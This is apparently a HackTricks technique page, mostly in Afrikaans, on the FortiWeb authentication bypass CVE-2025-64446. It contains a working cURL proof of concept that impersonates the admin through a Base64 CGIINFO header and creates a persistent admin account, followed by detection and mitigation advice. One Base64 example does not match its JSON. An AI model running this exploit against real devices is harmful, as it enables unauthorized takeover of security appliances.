Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

Fortinet FortiWeb stel ’n gesentraliseerde CGI-dispatcher beskikbaar by /cgi-bin/fwbcgi. ’n Ketting van twee foutes laat ’n ongemagtigde afstand-aanvaller toe om:

  • Bereik fwbcgi deur die URL met ’n geldige API prefix te begin en directories te traverse.
  • Imiteer enige gebruiker (insluitend die ingeboude admin) deur ’n spesiale HTTP header te voorsien wat deur die CGI vertrou word as identiteit.

Verskafferadvies: FG‑IR‑25‑910 (CVE‑2025‑64446). Daar is waargeneem dat die kwesbaarheid in die wild uitgebuit is om volhoubare admin-gebruikers te skep.

Geaffekteerde weergawes (soos publieklik gedokumenteer):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 stuur HTTP 403 terug vir die traversal probe hieronder.

Vinnige kwesbaarheidstoets

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretasie: HTTP 200 → waarskynlik kwesbaar; HTTP 403 → gepatch.

Ketting van worteloorsake

  1. API-prefix path traversal na interne CGI
  • Enige versoekpad wat begin met ’n geldige FortiWeb API-prefix (bv., /api/v2.0/cmdb/ of /api/v2.0/cmd/) kan met ../ na /cgi-bin/fwbcgi traverseer.
  1. Minimal-body validation bypass
  • Sodra fwbcgi bereik is, voer ’n eerste hek ’n permissiewe JSON-check uit wat gebaseer is op ’n per-pad-lêer onder /var/log/inputcheck/. As die lêer ontbreek, slaag die check onmiddellik. As dit teenwoordig is, hoef die body slegs geldige JSON te wees. Gebruik {} as ’n minimale voldoenende body.
  1. Header-driven user impersonation
  • Die program lees die CGI-omgewingveranderlike HTTP_CGIINFO (afgelei van die HTTP-header CGIINFO), Base64-dekodeer dit, parse JSON, en kopieer attribuut direk in die login-konteks, en stel die domain/VDOM. Sleutels van belang:
  • username, loginname, vdom, profname
  • Voorbeeld JSON om die ingeboude admin na te boots:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 van bogenoemde (soos in die praktyk gebruik):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Einde-tot-einde misbruikpatroon (unauthenticated → admin)

  1. Bereik /cgi-bin/fwbcgi deur API-prefix traversal.
  2. Verskaf enige geldige JSON-body (bv. {}) om aan die insetkontrole te voldoen.
  3. Stuur header CGIINFO: <base64(json)> waar die JSON die teiken-identiteit definieer.
  4. POST die backend JSON wat deur fwbcgi verwag word om bevoorregte aksies uit te voer (bv. skep ’n admin gebruiker vir persistensie).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Doen voor as admin en skep ’n nuwe local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Aantekeninge:

  • Enige geldige JSON-body volstaan (bv. {}) as /var/log/inputcheck/<path>.json nie bestaan nie.
  • Die action schema is FortiWeb-internal; die voorbeeld hierbo voeg ’n plaaslike admin met volle voorregte by.

Opsporing

  • Versoeke wat /cgi-bin/fwbcgi bereik via API-prefix-paaie wat ../ bevat (bv. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Teenwoordigheid van die header CGIINFO met Base64 JSON wat die sleutels username/loginname/vdom/profname bevat.
  • Agterkant-artefakte:
  • Per-path-lêers onder /var/log/inputcheck/ (gate-konfigurasie).
  • Onverwagte admin-skepping en konfigurasie-wijzigings.
  • Vinnige validering: die traversal probe wat 200 (exposed) vs 403 (blocked in fixed builds) teruggee.

Mitigasie

  • Werk op na gefikste releases (voorbeelde: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) volgens die verskaffer-advies.
  • Totdat dit gepatch is:
  • Moet nie die FortiWeb management plane aan ongevertroude netwerke blootstel nie.
  • Voeg reverse-proxy/WAF-reëls by om te blokkeer:
  • Paaie wat begin met /api/ en ../cgi-bin/fwbcgi bevat.
  • Versoeke wat ’n CGIINFO header dra.
  • Monitor en gee waarskuwings oor die opsporingsaanwysers hierbo.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks